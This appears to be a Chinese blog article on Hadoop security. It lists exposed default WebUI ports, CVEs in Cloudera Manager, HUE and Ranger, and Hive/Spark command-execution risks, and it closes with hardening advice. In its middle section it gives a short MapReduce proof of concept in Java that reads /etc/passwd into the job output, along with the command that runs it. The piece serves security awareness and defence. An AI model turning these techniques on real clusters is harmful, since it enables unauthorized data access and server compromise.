天天看點

Hadoop安全配置參考0x00 Hadoop簡介:0x01 第一:WebUI敏感資訊洩漏:0x02 MapReduce代碼執行漏洞0x03 Hadoop的第三方插件安全漏洞0x04 安全解決方案

0x00 Hadoop簡介:

Hadoop是一個由Apache基金會所開發的一個開源 高可靠 可擴充的分布式計算架構。Hadoop的架構最核心的設計就是:HDFS和MapReduce。

HDFS為海量的資料提供了存儲,MapReduce則為海量的資料提供了計算。

HDFS是Google File System(GFS)的開源實作。

MapReduce是一種程式設計模型,用于大規模資料集(大于1TB)的并行運算。

總的來說Hadoop安全問題涉及三個方面:

0x01 第一:WebUI敏感資訊洩漏:

Hadoop預設情況開放了很多端口提供WebUI,下面這些多多少少都會洩漏一些資訊,但是總的來說在内網還好吧。

一、HDFS

   1.NameNode 預設端口                    50070

   2.SecondNameNode 預設端口        50090

   3.DataNode 預設端口                       50075

4.Backup/Checkpoint node 預設端口  50105

二、MapReduce

   1.JobTracker 預設端口    50030

   2.TaskTracker 預設端口   50060

端口探測,掃描HDFS和MapReduce的WebUI對應的服務端口

Hadoop安全配置參考0x00 Hadoop簡介:0x01 第一:WebUI敏感資訊洩漏:0x02 MapReduce代碼執行漏洞0x03 Hadoop的第三方插件安全漏洞0x04 安全解決方案
Hadoop安全配置參考0x00 Hadoop簡介:0x01 第一:WebUI敏感資訊洩漏:0x02 MapReduce代碼執行漏洞0x03 Hadoop的第三方插件安全漏洞0x04 安全解決方案

NameNode WebUI管理界面

通過NameNode節點管理HDFS

Hadoop安全配置參考0x00 Hadoop簡介:0x01 第一:WebUI敏感資訊洩漏:0x02 MapReduce代碼執行漏洞0x03 Hadoop的第三方插件安全漏洞0x04 安全解決方案

其中比較重要的是DataNode 預設端口50075開放的話,攻擊者可以通過hdsf提供的restful api對hdfs存儲資料進行操作。

restful api參考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html

Hadoop安全配置參考0x00 Hadoop簡介:0x01 第一:WebUI敏感資訊洩漏:0x02 MapReduce代碼執行漏洞0x03 Hadoop的第三方插件安全漏洞0x04 安全解決方案

0x02 MapReduce代碼執行漏洞

MapReduce demo:https://github.com/huahuiyang/yarn-demo

稍微改動了一下:

FileInputStream file = null;
BufferedReader reader = null;
InputStreamReader inputFileReader = null;
String content = "";
String tempString = null;
try {
   file = new FileInputStream("/etc/passwd");
   inputFileReader = new InputStreamReader(file, "utf-8");
   reader = new BufferedReader(inputFileReader);
   // 一次讀入一行,直到讀入null為檔案結束
   while ((tempString = reader.readLine()) != null) {
      content += tempString;
   }
   reader.close();
} catch (IOException e) {
   e.printStackTrace();
} finally {
   if (reader != null) {
      try {
         reader.close();
      } catch (IOException e1) {
      }
   }
}
           
utput.collect(new Text(content), new IntWritable(1));
           

執行mapreduce任務:

➜  bin ./hadoop jar wordcount.jar com.yhh.mapreduce.wordcount.WordCount data.txt result

檢視執行結果:

➜  bin cat result/part-00000 

Hadoop安全配置參考0x00 Hadoop簡介:0x01 第一:WebUI敏感資訊洩漏:0x02 MapReduce代碼執行漏洞0x03 Hadoop的第三方插件安全漏洞0x04 安全解決方案

既然可以執行jar程式,執行系統指令還是很容易的,但是這個需要一個Hadoop的shell, 問題也不大。

0x03 Hadoop的第三方插件安全漏洞

Cloudera Manager  <=5.5

1、Cloudera Manager CVE-2016-4949 Information Disclosure Vulnerability

2、Template rename stored XSS (CVE-2016-4948)

     Kerberos wizard stored XSS (CVE-2016-4948)

     Host addition reflected XSS (CVE-2016-4948)

Cloudera HUE =< 3.9.0

1、Enumerating users with an unprivileged account (CVE-2016-4947)

2、Stored XSS (CVE-2016-4946)

3、Open redirect

Apache Ranger =< 0.5

1、Unauthenticated policy download

2、Authenticated SQL injection (CVE-2016-2174)

Apache Group Hadoop 2.6.x

1、Apache Hadoop MapReduce資訊洩露漏洞(CVE-2015-1776)

Hive任意指令/代碼執行漏洞

HQL可以通過transform自定義Hive使用的 Map/Reduce 腳本,進而調用shell/Python等語言,導緻攻擊者可以通過hive接口等相關操作方式直接擷取伺服器權限

漏洞往往是相似的,Spark 6066 7077端口也存在着類似的安全問題,預設情況下可以推送jar包執行,如果權限足夠大可以實作植入ssh公鑰,有興趣的可以研究下,估計在内網可以搞到一些研發的機子。。。

0x04 安全解決方案

1、開啟kerberos認證,參考:

http://hadoop.apache.org/docs/r2.7.3/hadoop-auth/Configuration.html

2、敏感頁面以及目錄最好也不要對普通使用者開放,可nginx方向代理、iptables解決。(jmx/logs/cluster/status.jsp/)

3、hadoop叢集單獨部署 做好安全監控發現被攻擊迹象及時高警

參考http://blog.cloudera.com/blog/2009/08/hadoop-default-ports-quick-reference/

推薦滲透腳本:https://github.com/0xwindows/VulScritp

繼續閱讀